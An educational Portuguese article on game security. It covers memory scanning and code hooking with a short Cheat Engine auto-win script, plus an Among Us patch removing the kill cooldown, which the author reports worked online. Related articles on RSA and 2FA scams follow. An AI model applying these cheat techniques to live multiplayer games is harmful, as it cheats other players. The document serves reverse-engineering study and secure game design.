Jump to content
  • Segurança em jogos

       (3 reviews)

    esoj
     Share

    Neste artigo analisaremos alguns tópicos sobre o tema tanto sob a ótica do desenvolvedor, quanto do hacker, comparando os desafios e técnicas referentes ao desenvolvimento de cheats para jogos online e offline.

    Jogos single player

    Do ponto de vista do desenvolvedor a integridade de um jogo single player raramente apresenta um problema para o produto e a comunidade. Devido à ausência de interação entre os jogadores, hacks pouco podem fazer além de obter feitos incríveis como concluir o jogo em tempos recordes ou desbloquear todas as conquistas para que o jogador possa exibir-se para seus amigos. Às vezes é até mesmo desejável pelo desenvolvedor que os jogadores comprometam a integridade do jogo através da criação de Mods,  por exemplo, pois eles expandem e renovam o jogo, criando formas completamente diferentes de jogá-lo.

    Do ponto de vista do profissional de segurança, jogos são uma maneira incrível de testar o seu potencial de engenharia reversa e até mesmo programação, quando você reescreve alguma seção crítica do game, por exemplo.

    Scanners de memória

    Sem dúvida jogos são programas complexos. Além de toda a lógica de gameplay o programa deve conter as instruções necessárias para renderizar itens na tela, gerenciar dispositivos de som, receber input do usuário, além de diversas outras funções comuns presentes nas engines como pathfinding, sistema de partículas, gerenciamento de animações, etc. Fazer a engenharia reversa de um jogo tentando compreender cada etapa do programa até encontrar as seções relacionadas à lógica de jogo seria como procurar uma agulha no palheiro.

    Por este motivo desenvolveram-se ferramentas para inverter esse processo. Com a ajuda de Scanners de memória, a partir de elementos visuais do jogo como vida ou dinheiro, é possível descobrir o valor da variável desejada. Isso permite ao hacker alterar aquele valor ou usar aquela variável (quem acessa esse endereço?) para identificar seções de código relacionadas, criando exploits ainda mais complexos.

    O processo de scan por valor funciona em três etapas:

    1. Escaneia-se um valor conhecido, como vida, dinheiro, pontuação, etc;
    2. Altera-se essa variável dentro do jogo para que ela mude de valor;
    3. Repete-se as etapas 1 e 2 até obter um número pequeno de possíveis endereços.

    Ao fim do processo, é possível trocar o valor da variável dentro do jogo, obtendo vantagens como grandes quantias de vida ou dinheiro.

    O scan de memória funciona buscando todos os endereços de memória do processo que contém aquele exato valor. Quando o segundo scan é feito, ele utiliza a primeira lista de resultado e remove os endereços que não se adequam ao valor atual. Ao fim do processo, sobram bons palpites para o real endereço da variável:

    Exemplo de Scan de memória usando Cheat engine

    Scan por proximidade

    Esta técnica se baseia a partir da relação de proximidade espacial entre as variáveis. Por exemplo, se em um jogo o personagem possuir uma barra de vida cujo valor exato é incerto, uma estratégia possível é buscar por algum valor conhecido associado e após encontrar aquele valor olhar em suas proximidades para checar se a variável vida está lá. Isso ocorre porque na maioria das vezes os programadores armazenam os dados de cada elemento do jogo em objetos ou structs, que são contínuos na memória:

    Struct player{
      Char nome[50];
      Int dinheiro;
      float vida ;
      float vidaMax ;
      Imagem *sprite;
    }

     

    Exemplo de Scan por proximidade usando Cheat engine

    Fuzzing

    As vezes vale a pena alterar uma região de memória próxima a variáveis importantes e observar se algo mudou dentro do jogo. Apesar de diversas vezes resultar em crashes, às vezes pode render resultados interessantes,descobrindo listas ou IDs de itens:

    Exemplo de Fuzzing obtendo os endereços da lista de parceiros e desbloqueando personagens não jogáveis

    Quem acessa esse endereço? e Injeção de código

    Na maioria dos debuggers é possível adicionar um breakpoint de dado, que trava a execução do programa quando uma instrução faz uma leitura ou uma escrita naquele endereço. Isso pode ser muito útil para encontrar funções relacionadas à aquela variável.

    Em alguns casos além de apenas alterar o valor de variáveis é interessante alterar também trechos de código para que o programa se comporte diferente. Para isso, uma técnica usada para alterar dinamicamente o código em execução é o code hooking. Esta técnica consiste em substituir uma instrução por um jump para uma região de memória não utilizada ou alocada pelo debugger. Nessa região, além do código removido dar espaço ao jump, podemos adicionar novas instruções. Ao fim do hook ele retorna para o endereço subsequente ao pulo:

    image.thumb.png.91e5230e298cdc055b35e0e55e21887e.png

    Esquema de mapa de memória e execução durante um hook

    Em um dos casos que encontrei tratava-se de um jogo onde a pontuação mudava dinamicamente a cada nível, com isto, apesar do valor da variável da pontuação ser conhecida, trocar manualmente seu valor era desconfortável.

    Portanto, adicionando um breakpoint de dado no valor da pontuação encontrei a função que checa se a pontuação foi atingida a cada quadro:

     1.mov eax,[ecx+000000A0]          ;Pontuação atual lida
     2.mov ecx,[ecx+000000A4]          ;Pontuação meta lida
     3.cmp eax,ecx                        ; compara os pontos atuais com a meta
     4.<--je 05AE94C6                    
     5.mov eax,[ebp+08]
     6.mov eax,[eax+000000A8]
     7.test eax,eax
     8.jne 05AE9C7F                      ;Todo este trecho é pulado se não atingirmos a meta
     9.mov eax,[ebp+08]
    10.movzx eax,byte ptr [eax+7C]
    11.test eax,eax
    12.jne 05AE9C7F
    13.-->mov eax,[ebp+08]
    14.mov eax,[eax+28]                  ;resto da função
    15.mov ecx,eax
    ...    

    Apesar de ser muito difícil interpretar o que toda a função faz, apenas as 4 primeiras instruções são importantes.

    Se a pontuação atual for diferente do objetivo, o trecho do meio responsável por passar de fase não roda. Eu tentei remover apenas o jump e forçar sua execução mas o jogo trava, provavelmente devido a uma comparação futura com a pontuação. Portanto, a ideia é roubar o fluxo de execução logo antes da comparação da instrução 3 ser executada.

    Para descobrir o endereço de onde deve ser injetado o pulo é possível fazer um scan por Array of bytes. No caso buscamos o padrão das instruções acima. Essa é uma maneira consistente de manter o cheat funcionando mesmo após atualizações que modifiquem o binário, pois mesmo que o endereço da função mude, dificilmente suas instruções serão alteradas

    O Cheat Engine em especial permite escrever um script que realiza essa busca e aplica o hook. Quando o script está ativo ele aplica os patches necessários, enquanto está desativado ele reverte as alterações para o código original. Dessa forma foi simples criar um botão de auto win para qualquer estágio do jogo:

    aobscan(INJECT,8B 89 A4 00 00 00 3B C1 74) ;sequência de instruções a ser buscada
    alloc(newmem,$1000)
    
    [ENABLE]
    
    code:
      mov eax,[ecx+000000A4]	;Instrução original de leitura - lê a meta
      mov [ecx+000000A0],eax	;copia a meta para a pontuação atual
      mov ecx,eax				;e também para o registrador onde está a pontuação atual
      jmp return				;volta para a execução normal de código

     

    Exemplo de injeção de código criando um botão de auto win

    Exemplo de injeção de código alterando o comportamento dos inimigos para curar o jogador

    Online multiplayer

    Enquanto nos jogos single player o uso de cheats traz pouco ou nenhum problema para os demais jogadores, quando se trata de multiplayer online, sobretudo dos jogos mais competitivos, cheats podem se tornar um pesadelo quando jogadores passam a obter vantagens absurdas sobre os demais, criando um ambiente injusto e frustrante dentro da partida.

    Felizmente as engines que suportam multiplayer já são pensadas com a segurança em mente, mitigando a maioria das técnicas discutidas na seção sobre single player.

    Modelo de cliente servidor

    O modelo de cliente servidor assume que existe uma máquina na rede que possui autoridade sobre as demais máquinas, máquina esta chamada de servidor. O servidor também contém um único estado do jogo que é replicado para os demais clientes. Toda a interação entre jogadores deve passar pelo servidor, já que os clientes não possuem nenhuma conexão entre si. Com isto, é tarefa do servidor validar todos os inputs recebidos antes de replicá-los. Existem duas formas de interação servidor-cliente, são elas Remote Procedure Calls (RPCs) e Replicação de Variáveis.

    RPCs são um pedido feito para outra máquina rodar um código específico e estes pedidos podem ser feitos pelo servidor ou pelo cliente. Por exemplo, se o jogador 1 de um jogo tiro deseja atirar, os outros clientes devem ser capazes de observar que o disparo foi realizado. Para isso ele deve solicitar ao servidor que realize um disparo usando uma RPC. Em seguida, o servidor deve solicitar aos demais jogadores que repliquem esse disparo, partindo da cópia que cada um deles tem do jogador 1:

    image.thumb.png.b1115b7a01667b172238354a59b3fa3b.png

    Exemplo de código multiplayer para FPS implementado na Unreal Engine 4

    A segunda forma de comunicação é a replicação de variáveis. Diferente de RPCs, a replicação ocorre apenas do servidor para o cliente. No exemplo acima a função dar dano altera (server side) a variável "vidaDoPersonagem". Quando isso acontece, o servidor envia um pacote atualizando o seu valor para todos os clientes. Portanto, nenhum cliente possui de fato a variável vida mas uma cópia dela. Por isso as técnicas de alteração de variáveis discutidas na seção de jogos offline raramente funcionam em multiplayers. Embora seja possível alterar essa cópia, o estado do jogo no servidor permanece intacto, então mesmo que você tenha 1000 de vida em sua cópia, quando você morrer no servidor, ainda ocorrerá uma RPC para a sua máquina e para os outros jogadores avisando que você morreu.

    Tradeoff entre jogabilidade e segurança - O problema do input

    Sempre que o servidor recebe uma atualização do cliente ele deve checar se a ação feita pelo jogador é válida, como por exemplo se o jogador ainda possui munição antes de atirar, se a arma não está em recarga, etc. Todavia, algumas ações são praticamente impossíveis de serem verificadas. Um servidor poderia verificar por exemplo todo o input feito pelo jogador, enviando cada botão pressionado para que o servidor calcule coisas como posição ou ângulo da câmera, porém devido à latência de rede e o tempo de processamento isso significaria uma jogabilidade travada e lenta. A menos que o jogo seja lento como uma partida de xadrez, o servidor precisa confiar parcialmente no input dado pelo usuário. Por isso, cheats como speedhacks e aimbots são tão comuns. Posição e orientação de onde o jogador está olhando são basicamente controladas pelo cliente.

    Algumas engines como a Unreal conseguem mitigar os efeitos de possíveis speed hacks calculando em server side a posição que o personagem deveria estar e aplicando as devidas correções no cliente. Essas correções também servem para sincronizar o cliente com o servidor em situações de dessincronia como durante perdas de pacotes:

    Exemplo de correção de posicionamento pelo servidor na Unreal Engine 4

    Padrões inseguros de programação para multiplayer

    • Não validar corretamente a entrada de RPCs;
    • No caso acima um cliente não íntegro poderia passar um valor elevado como parâmetro, dando danos absurdos aos adversários;
    • Não validar o tempo entre RPCs;
    • O jogador não deve atirar milhares de vezes por segundo, mas não tem nada no servidor que impeça isso;
    • Não replicar as variáveis necessárias;
    • O desenvolvedor não deve confiar ao cliente variáveis importantes como vida ou munição.

    image.thumb.png.e21861527fa20aeabd42326036331630.png

    Exemplo de código multiplayer vulnerável

    RCEs e ataques a outros jogadores

    Quando um desenvolvedor publica um jogo ele está distribuindo software que vai rodar no computador de diversos usuários. Como qualquer outro programa, ele é suscetível à ataques clássicos de corrupção de memória como buffer overflow, Use After Free, etc, que podem permitir execução remota de código para outros atacantes que possam interagir com o programa. Esse foi o caso do CVE-2019-15943, onde no Counter-Strike: Global Offensive (CSGO) um jogador poderia convidar outro player para uma partida utilizando um mapa customizado. O mapa customizado era criado especificamente para fazer o jogo crashar, corrompendo a cadeia SHE e potencialmente permitindo a execução de código na máquina do usuário que entrou na partida.

    Acessibilidade ao código, Unity e Among Us

    Há alguns meses atrás eu estava curioso para ver como o game Among Us implementa algumas coisas. Uma breve pesquisa no google revela que o jogo foi desenvolvido usando a Unity Engine. Saber em qual engine o programa é produzido é útil na hora de olhar pelos arquivos do game durante uma análise estática. A Unity utiliza C# como linguagem de programação, gerando arquivos .NET (quando no Windows) que são facilmente decompilados e editáveis por ferramentas como dnSpy, tornando o processo de modificação e engenharia reversa bem simples. No entando, atualmente a Unity suporta também o uso do IL2cpp, um conversor de linguagem intermediária (IL) para C++ antes de gerar o pacote do projeto. Isso gera benefícios como performance para o jogo e também dificulta o acesso ao código.

    Entretanto, o processo de engenharia reversa não é impossível. Utilizando a ferramenta IL2cppDumper é possível extrair a partir dos arquivos de metadados os offsets de cada função do GameAssembly.dll, bem como seus respectivos nomes. Vasculhando pelas funções foi possível encontrar a rotina que gerencia o cooldown do botão de matar quando o jogador é o impostor:

    image.thumb.png.df6b97d102bdb188fa00b0593a47a72c.png

    Método responsável pelo cooldown do botão, decompilado pelo ghidra

    image.png.9247326a8073dba6ae10616b9cf7ffc1.png

    Código assembly referente ao método SetTimeKiller

    Aqui vemos que a função recebe o tempo como parâmetro e seu primeiro uso é escrevê-lo em um dos atributos do objeto. Um hack interessante e bem crítico seria transformar qualquer tempo de cooldown em 0.

    image.png.2fcfcb3d58b9823e463524512cad3f41.png

    Código assembly após o patch

    Troquei a instrução xmm0,[ebp +0xc] que lia o argumento da pilha por um simples xor eax,eax, zerando o registrador.
    No lugar de movss [esi+0x44],xmm0 basta mover o valor de eax, como se todo o argumento fosse 0. Com apenas duas instruções alteradas, o exploit funcionou bem mesmo em sessões online.

    O servidor não checava o tempo entre as RPCs para matar o jogador, permitindo assim abusos por clientes modificados e eventualmente frustrando os demais jogadores depois de morrerem em partidas de 10 segundos ou menos.


    image.png.94e60cf0fa19d46354d1050305297ab3.png
     
    Método após o patch, decompilado pelo Ghidra

    Referências


    Revisão: Leandro Fróes
    • Curtir 2
     Share


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.
    Note: Your post will require moderator approval before it will be visible.

    Guest

    • This will not be shown to other users.
    • Add a review...

      ×   Pasted as rich text.   Paste as plain text instead

        Only 75 emoji are allowed.

      ×   Your link has been automatically embedded.   Display as a link instead

      ×   Your previous content has been restored.   Clear editor

      ×   You cannot paste images directly. Upload or insert images from URL.


    Guest Professor Utônio

       3 of 3 members found this review helpful 3 / 3 members

    Não entendo nada do assunto, mas ta muito bom! Bem formatado e com vídeos e imagens bem explicativas

    Link to review
    Share on other sites

    Guest xaolin matador de porco

       2 of 2 members found this review helpful 2 / 2 members

    o autor esta solteiro?

    Link to review
    Share on other sites

    Guest Vitor Machado

      

    Muito bom!

    Link to review
    Share on other sites


  • Similar Content

    • By c4v0k
      Continuando a série de artigos com foco em criptografia, hoje veremos um dos primeiros algoritmos de chave assimétrica, o RSA, que permite estabelecer uma conexão segura entre duas entidades sem contato prévio entre elas.
      Antes de prosseguir, vale relembrar boas práticas apresentadas no artigo do Chinchila: nunca implemente um esquema criptográfico, utilize bibliotecas reconhecidas pela comunidade, preferencialmente de código aberto.
      Outro ponto importante é que o RSA parece simples em termos matemáticos, mas é fácil de ser utilizado de maneira incorreta na construção de protocolos e/ou implementado de forma a inserir várias vulnerabilidades. O algoritmo básico apresentado aqui não garante proteção contra a maioria de tais vulnerabilidades. Por fim, serão apresentadas simplificações no algoritmo e código em Python para auxiliar a compreensão.
       
      Criptografia de chave assimétrica
      Como apresentado no primeiro artigo de criptografia, algoritmos de chave assimétrica possuem 2 chaves: uma chave pública e uma chave privada (secreta). O uso correto de ambas as chaves permite que duas pessoas estabeleçam um canal de comunicação seguro sem a necessidade de terem combinado chaves anteriormente.
      O funcionamento do algoritmo é análogo a uma caixa de correio como a da foto abaixo. Vamos considerar que a comunicação segura é estabelecida entre a pessoa que envia uma carta e o correio. Quando a pessoa vai enviar a carta, basta deixá-la na caixa. Para manter a analogia mais precisa, vamos considerar que existe uma chave disponível junto à caixa de correio e que ela deve ser utilizada para depositar a carta na caixa. Qualquer usuário pode ter acesso a chave para depositar cartas na caixa, por isso tal chave é denominada chave pública.

      Caixa de correio - Fonte: Wikipedia
      Apenas o Correio possui a chave necessária para abrir a caixa, portanto sabemos que somente ele pode receber as cartas depositadas na caixa. Esta chave é denominada chave privada.
      Dessa forma, o usuário pode enviar mensagens que somente o correio pode ler. Isso ocorre porque todas as mensagens deixadas na caixa só podem ser recebidas pelo detentor da chave privada, ou seja, o próprio correio.
      Um dos primeiros algoritmos capazes de proporcionar a funcionalidade descrita é o RSA.
       
      Aritmética modular
      A aritmética modular é feita apenas com números inteiros. Utilizando mais uma analogia, a aritmética modular é próxima ao funcionamento de um relógio. O ponteiro das horas de um relógio tem funcionamento cíclico, nunca é maior que 11 e menor que 0 (considerando que 12h = 0h). Sempre que o relógio ultrapassa 11h, o relógio volta a contar a partir de 0h. O mesmo vale para somar horas: somando 10h com 4h, o resultado será 2h. Nesse caso, diz-se que as operações são feitas "módulo 12", também representadas por "8 + 6 = 2 mod 12". 
      Computar o valor de a módulo b pode ser interpretada também como calcular o resto da divisão de a por b, por exemplo 23 = 2 mod 7, porque 23 = 7\*3 + 2, 16 mod 4 = 0, porque 16 = 4\*4 + 0
      Em Python, o operador "%" é utilizado para computar a operação modular:
      print(23%7) Além da soma, também existem as operações de multiplicação e potenciação modular. Essas operações são computadas assim como na aritmética regular. Em seguida, é calculado o resto da divisão pelo valor do módulo, por exemplo:
      3\*7 mod 5 -> 3\*7 = 21 = 4\*5+1 = 1 mod 5 
      3^5 mod 7 -> 3^5 = 243 = 34\*7 + 5 = 5 mod 7
      print(3*7%5, pow(3,5,7))  # no Python, pow(a,b,c) = (a**b)%c  
      O RSA
      O algoritmo RSA utiliza a potenciação modular, onde os expoentes são as chaves. Conforme a analogia da caixa de correio, existe uma chave pública, representada por e, e uma chave privada (secreta), representada por d. O valor do módulo é representado por N e é calculado como o produto de dois inteiros primos, representados por p e q. A segurança do algoritmo depende, entre outros fatores que não serão apresentados aqui, do tamanho de p e q, sendo recomendado usar primos de no mínimo 1024 bits.
      from random import randint from sympy import isprime def random_prime(lower_bound, upper_bound):     while True:         r = randint(lower_bound, upper_bound)         if isprime(r):             return r  p = random_prime(2**512, 2**513) q = random_prime(2**512, 2**513) N = p*q print(p, q, N) As chaves pública e privada devem ser calculadas de forma que uma mensagem encriptada pela chave pública pode ser desencriptada somente com o conhecimento da chave privada. Em outro artigo será apresentado o porque de calcular as chaves conforme o código abaixo.
      phi = (p-1)*(q-1) e = 17 d = pow(e, -1, phi) print(e, d) Consideramos que a mensagem a ser enviada seja "artigo_RSA_mente_binaria". Ela deve ser convertida para uma representação em números inteiros com a função bytes_to_long da biblioteca Pycryptodome:
      from Crypto.Util.number import long_to_bytes, bytes_to_long msg = b"artigo_RSA_mente_binaria" m = bytes_to_long(msg) print(m) A encriptação da mensagem consiste em elevar o valor inteiro da mensagem à chave pública e:
      ciphertext = pow(m, e, N) print(ciphertext) print(long_to_bytes(ciphertext)) É possível ver que, após a encriptação, é difícil ver qualquer relação entre a mensagem original e a mensagem encriptada.
      Para que o destinatário recupere a mensagem, basta que ele faça o mesmo procedimento da encriptação, mas utilizando o expoente secreto d:
      plaintext = pow(ciphertext, d, N) print(plaintext) print(long_to_bytes(plaintext))  
      Importante
      Esse artigo apresenta apenas uma introdução ao RSA, diversas partes importantes foram omitidas para facilitar a compreensão. Existem várias vulnerabilidades inerentes a uma implementação básica como essa. Uma boa forma de estudar e compreender melhor esse algoritmo e suas vulnerabilidades é analisar e implementar estes ataques. No ASIS CTF Quals 2021 havia um chall que envolvia uma versão modificada do RSA, mas suscetível às mesmas vulnerabilidades. O write-up do ELT pode ser encontrado aqui. Para saber mais, recomendo os challs do Cryptohack e as próximas postagens aqui no site.
      Bom estudo, se tiver dúvidas e/ou sugestões deixe nos comentário abaixo, até a próxima!

      Código
      from random import randint from sympy import isprime from Crypto.Util.number import long_to_bytes, bytes_to_long def random_prime(lower_bound, upper_bound):     while True:         r = randint(lower_bound, upper_bound)         if isprime(r):             return r  p = random_prime(2**512, 2**513) q = random_prime(2**512, 2**513) N = p*q print(p, q, N) phi = (p-1)*(q-1) e = 17 d = pow(e, -1, phi) print(e, d) msg = b"artigo_RSA_mente_binaria" m = bytes_to_long(msg) print(m) ciphertext = pow(m, e, N) print(ciphertext) print(long_to_bytes(ciphertext)) plaintext = pow(ciphertext, d, N) print(plaintext) print(long_to_bytes(plaintext))
    • By Andre Smaira
      Você está realmente seguro enquanto navega na Internet? E enquanto troca mensagens com os seus amigos? Essas são perguntas cujas respostas infelizmente não são preocupação para a maioria dos usuários da rede mundial de computadores. Vamos descobrir as respostas a elas? E como mudar os seus hábitos para navegar de forma mais segura?
      Nesse artigo vamos estudar um pouco sobre autenticação. Começaremos com uma breve introdução, seguindo com os tipos e níveis de autenticação. Ao final veremos a importância da autenticação de dois fatores (2FA), muito comentada ultimamente como método para se evitarem golpes digitais (muito recorrentes nos últimos anos), e extremamente relevante para qualquer usuário da Internet. Vale a pena dar uma lida para garantir que está seguro! Vamos lá! 
      Definição
      A palavra autenticação tem origem na Grécia e significa algo como "autor real", isto é, a garantia de que quem tenta acessar um determinado sistema é realmente quem o sistema espera que seja. Em outras palavras, é a garantia de que uma entidade é quem diz ser. 

      Fonte: https://www.serpro.gov.br
      Aplicações
      Autenticação é importante em diversas áreas, não somente em segurança da informação como muitos tendem a pensar inicialmente. Em artes, como saber se um quadro é de fato de um determinado pintor? Em antiguidades, como saber se um determinado artefato foi de fato produzido por uma determinada civilização ou numa determinada época? No nosso cotidiano, como saber se um determinado contrato foi assinado pelas partes do mesmo? E finalmente, em segurança da informação, como saber se um usuário é de fato quem diz ser? Ou seja, como garantimos, em qualquer área, que não seremos vítimas de fraude?
      Métodos
      Para quaisquer dessas áreas existem diversos métodos de autenticação. Eles estão divididos em três tipos:
      O primeiro tipo se baseia em confiança numa pessoa específica, geralmente uma pessoa importante em relação ao assunto da autenticação em questão, um especialista na área. A fragilidade desse tipo é a centralização da confiança numa pessoa, que pode errar ou ser corrompida.
      Fonte: https://www.theartnewspaper.com 
      O segundo tipo se baseia em comparação de características da entidade analisada com outra de que se conhece a origem e serve para determinar se ambas tem a mesma precedência. A fragilidade desse processo é que é possível criar uma cópia perfeita, apesar de ser necessário conhecimento especializado para tal. 
      Fonte: https://www.nytimes.com 
      O terceiro tipo se baseia em documentos externos que podem comprovar a precedência da entidade. Esse é o tipo comumente usado em segurança da informação, onde as provas externas são senhas, tokens, etc., mas mesmo assim são apenas indícios de autenticidade, a fragilidade desse tipo é a falsificação desses documentos ou, como no caso de credenciais, o roubo dos mesmos.
      Fonte: http://www.usauthentication.com 
      Fatores
      Com o objetivo de dificultar o comprometimento da autenticidade de serviços digitais, existem três fatores básicos de autenticação que, combinados, reduzem as chances de comprometimento de credenciais. Cada um deles se baseia em o que o usuário deve fornecer para garantir que ele é mesmo quem diz ser:

      Fonte: https://admin.salesforce.com 
      Fator de conhecimento ("o que você sabe"): O usuário deve fornecer alguma informação que teoricamente somente ele sabe, como senhas, PINs, respostas a perguntas de segurança, etc. Senhas, por exemplo, são códigos criados pelo usuário que devem ser utilizadas para autenticações em sistemas. Nesse caso, a responsabilidade sobre a "força da senha", relacionada a sua resistência a um ataque de força bruta (descrito mais adiante), é do usuário, visto que ele é o responsável por sua criação. Atualmente, os serviços tentam exigir e restringir determinados padrões de senha de forma a melhorar a segurança. A empresa também tem responsabilidade sobre a segurança da senha em relação ao seu armazenamento (feito em formato de hashes), visto que a verificação deve ser feita a cada autenticação. Fator de inferência ("o que você é ou faz"): O usuário deve mostrar algo relativo a seu ser ou algo que teoricamente somente ele consegue fazer, como impressão digital, padrão de retina, DNA, rosto, voz, assinatura, etc. Nesse caso, a segurança depende do próprio usuário, visto que a prova de autenticação faz parte do corpo ou depende da habilidade do mesmo. Fator de propriedade ("o que você tem"): O usuário deve utilizar algo que teoricamente somente ele possui, como cartões de identificação, tokens (de hardware ou software), chips implantados, par de chaves público-privada, etc. Tokens de software, por exemplo, são dados que sozinhos não fazem sentido, mas que, quando recebidos pelo sistema de validação, o mesmo consegue verificar a validade e as permissões de acesso do mesmo. Eles são criados pelo serviço e o usuário o recebe por um meio e o fornece por outro. Nesse caso, o responsável pela segurança do token é o usuário, que não pode o fornecer para terceiros. Assim, o ataque de força bruta geralmente não é efetivo, pois um token bem implementado tem tempo de vida, de forma que o atacante não teria tempo hábil para esse ataque, além de que, sempre que possível, códigos relacionados a fator de propriedade são extremamente seguros (grandes e aleatórios). Autenticação em um fator
      Essa forma de autenticação usa apenas um dos fatores acima para autenticar uma transação. Ela é extremamente contra indicada em processos relativos a serviços de alta importância e que, portanto, exigem alto nível de segurança, como serviços bancários ou que possam armazenar ou transmitir dados pessoais relevantes, como documentos, telefone, endereços, parentescos próximos, senhas, etc. 
      Alguns aplicativos de mensagem, como WhatsApp, por padrão se utilizam de apenas um fator de autenticação (fator de propriedade), o que é a principal causa das fraudes frequentemente relatadas pela imprensa ou conhecidos próximos. Continue a ler para aprender como evitar tais fraudes.
      Autenticação em múltiplos fatores
      Essa forma de autenticação, em que 2FA (ou autenticação em dois fatores) é um caso especial, usa ao menos dois fatores dos anteriores de forma que os dois níveis de precisam ser comprometidos por um invasor para que o mesmo consiga acesso ao serviço, o que é muito mais difícil de ocorrer em comparação à utilização de apenas um fator.

      Fonte: https://manuaisti.anac.gov.br 
      A maioria dos sistemas digitais online que fornecem autenticação em dois fatores se utilizam do fator de conhecimento (usuário e senha) e fator de propriedade (token), não necessariamente nessa ordem.
      Ataques Relacionados e suas consequências
      Essa seção vai o ajudar a responder às perguntas iniciais: "Você está seguro enquanto navega na Internet? E enquanto troca mensagens?". Vamos ver a seguir alguns ataques relativamente simples que podem ser prevenidos com práticas fáceis, mas a que nem todos os usuários se atentam.
      Ataques cibernéticos relacionados a autenticação são muito comuns, pois a "parte fraca", ou seja, a parte do sistema explorada pelo atacante, é o usuário comum, aquele que tem pouco ou nenhum conhecimento sobre segurança digital e, portanto, é a mais fácil de ser explorada.
      Ataques de Engenharia Social

      Fonte: https://www.urbannetwork.co.uk/social-engineering/
      Esse é um conjunto de ataques em que a princípio não é necessário nenhum conhecimento técnico de computação ou segurança da informação, nem ao menos serve somente para ataques digitais e justamente por isso é a técnica mais usada. O atacante se vale de manipulação psicológica para fazer com que a pessoa forneça informações que não deveria. 
      Um exemplo muito simples de engenharia social que funcionava muito bem anos atrás (em alguns sites ainda funciona) é a obtenção daquelas respostas secretas, necessárias para recuperar senhas perdidas. Em uma breve conversa com a vítima, um atacante é capaz de obter as respostas a essas perguntas e, consequentemente, de conseguir acesso à conta da vítima.
      Para não se tornar vítima desse ataque, evite esse método de acesso ou tenha certeza que não vai fornecer as respostas a ninguém. Apesar de esse método ser muito pouco usado atualmente, é sempre bom conhecer formas de evitar ataques. Uma forma é responder com palavras ou expressões que não correspondam à realidade, mas que tenha certeza que vá lembrar se precisar. Uma segunda possibilidade é escrever a resposta com uma combinação especial de maiúsculas, minúsculas, números e eventuais símbolos que o atacante não tenha menor chance de testar, mesmo obtendo a resposta correta de alguma forma, sempre destacando que você deve lembrar da mesma.
      Atualmente, dois dos ataques mais comuns estão relacionados ao aplicativo de mensagens WhatsApp, devido à sua popularidade e, portanto, ao ganho financeiro que o atacante terá ao explorar tal aplicativo. Ambos utilizam engenharia social.

      Fonte: https://www.bbc.com 
      No primeiro e mais simples de ser realizado, porém com menor efetividade, a vítima recebe uma mensagem de um número de celular desconhecido, mas com a foto de algum amigo ou parente próximo dizendo que precisou trocar de celular por algum motivo e que precisa de dinheiro urgente, geralmente por não ter acesso aos bancos do aparelho perdido. Esse é o momento que define o final do ataque: se a vítima acreditar e transferir o dinheiro, o ataque obteve sucesso e o dinheiro não pode mais ser recuperado, caso contrário o atacante passa para a próxima vítima.
      Para não se tornar uma vítima, a princípio devemos prevenir, configurando a segurança das redes sociais para privado e evitando fornecer telefones, endereços e graus de parentesco nas mesmas, pois essa é a principal fonte onde os atacantes vão buscar as informações necessárias. Outra forma de prevenir é avisar os seus parentes e amigos próximos que nunca irá transferir dinheiro quando solicitado por aplicativos de mensagem.
      Se o atacante conseguir os seus dados, quando receber mensagem do tipo da descrita no parágrafo anterior, desconfie: a princípio lembre-se se já não avisou para essa pessoa que jamais transferiria dinheiro com pedido por mensagens, veja se a foto do WhatsApp é de fato a do seu contato, converse com a pessoa que mandou a mensagem perguntando sobre fatos que somente o seu contato real poderia saber, mas use isso somente para ter certeza que não é seu amigo, e não ao contrário, pois ela pode também ter sido vítima de engenharia social. Tente falar com a pessoa por outros meios, começando por telefonar ou mandar mensagem para o telefone teoricamente antigo. 
      Se não conseguir falar por nenhum desses meios ou outros quaisquer e ainda pensar que pode ser verdade o pedido, ainda há algumas formas de evitar o sucesso do possível golpe: pegue a conta (ou PIX) que o atacante enviar e comece uma transferência (de preferência de valores baixos, por exemplo, R$ 0,01). Em determinado momento aparecerá os dados parciais ou totais da conta destino. Pense se esses dados fazem sentido – você conhece o dono da conta? A agência é de uma cidade conhecida em que o seu contato poderia realmente estar ou ter um conhecido? Além disso, busque pelos dados na Internet para verificar se não aparecem em fóruns, redes sociais ou outros sites em denúncias de fraudes. 
      Muito provavelmente, depois de todas essas etapas, você já terá certeza que se trata de um golpe, se for o caso. Assim sendo, se ainda não tiver pego os dados bancários do atacante, o faça. Com os dados bancários e o número de telefone do atacante em mãos, denuncie para a polícia, para o banco proprietário da conta e para a operadora de celular dona da linha. Dessa forma você ajudará a evitar que esse atacante tenha sucesso no ataque a outras vítimas. O banco e a empresa de telefonia não podem fazer nada a princípio, mas se houver muitas denúncias sobre os mesmos dados, eles abrirão uma investigação interna para saber se de fato o telefone ou a conta bancária estão sendo usados indevidamente.
      Um caso especial de engenharia social muito usado é o ataque de phishing, cuja tradução literal é "ataque de pesca", pois basicamente o usuário é "fisgado" por uma armadilha enviada através da Internet, fornecendo informações pessoais ou instalando softwares maliciosos.

      Fonte: https://www.paubox.com/ 
      O segundo método de ataque por WhatsApp é, na verdade, geralmente um ataque de phishing e é mais efetivo. Nesse caso, você pode ser vítima em duas possíveis etapas. A primeira diz respeito a ter a conta do WhatsApp sequestrada pelo atacante. Se você for vítima dessa primeira etapa do ataque, vai perceber quando tentar acessar o seu aplicativo e receber a mensagem de que ele foi acessado de outro aparelho celular ou quando receber um aviso de que outro celular acessou a sua conta. Nesse caso avise imediatamente todos os seus contatos de que está sem acesso ao aplicativo e que não devem considerar qualquer mensagem enviada por você. A seguir, tente acessar novamente seu WhatsApp, fornecendo o código de seis dígitos (token, fator de propriedade) que receberá do WhatsApp por SMS. Assim que acessar, o atacante perderá o acesso. 
      Esse ataque é realizado através da obtenção do token presente no SMS citado, que se parece com esse:

      Perceba que, ao final da mensagem, há um texto pedindo que esse código não seja compartilhado com ninguém, mas, por mais incrível que possa parecer, as vítimas desse golpe fazem justamente isso: fornecem o código ao atacante. 
      Vamos aos detalhes: o atacante tenta acessar o WhatsApp com o seu número de telefone, o que faz com que você receba essa mensagem. Nesse momento, muito provavelmente o atacante já está conversando com você e se identificou como funcionário de um serviço qualquer, seja uma pesquisa de mercado, um banco em que você tem conta, uma loja em que você comprou recentemente ou mesmo o próprio WhatsApp. No meio da conversa ele irá dizer que o enviará um código por SMS e que precisa que você confirme esse código por algum motivo. Não forneça o código para ninguém, mesmo que o atacante se identifique como funcionário do WhatsApp.
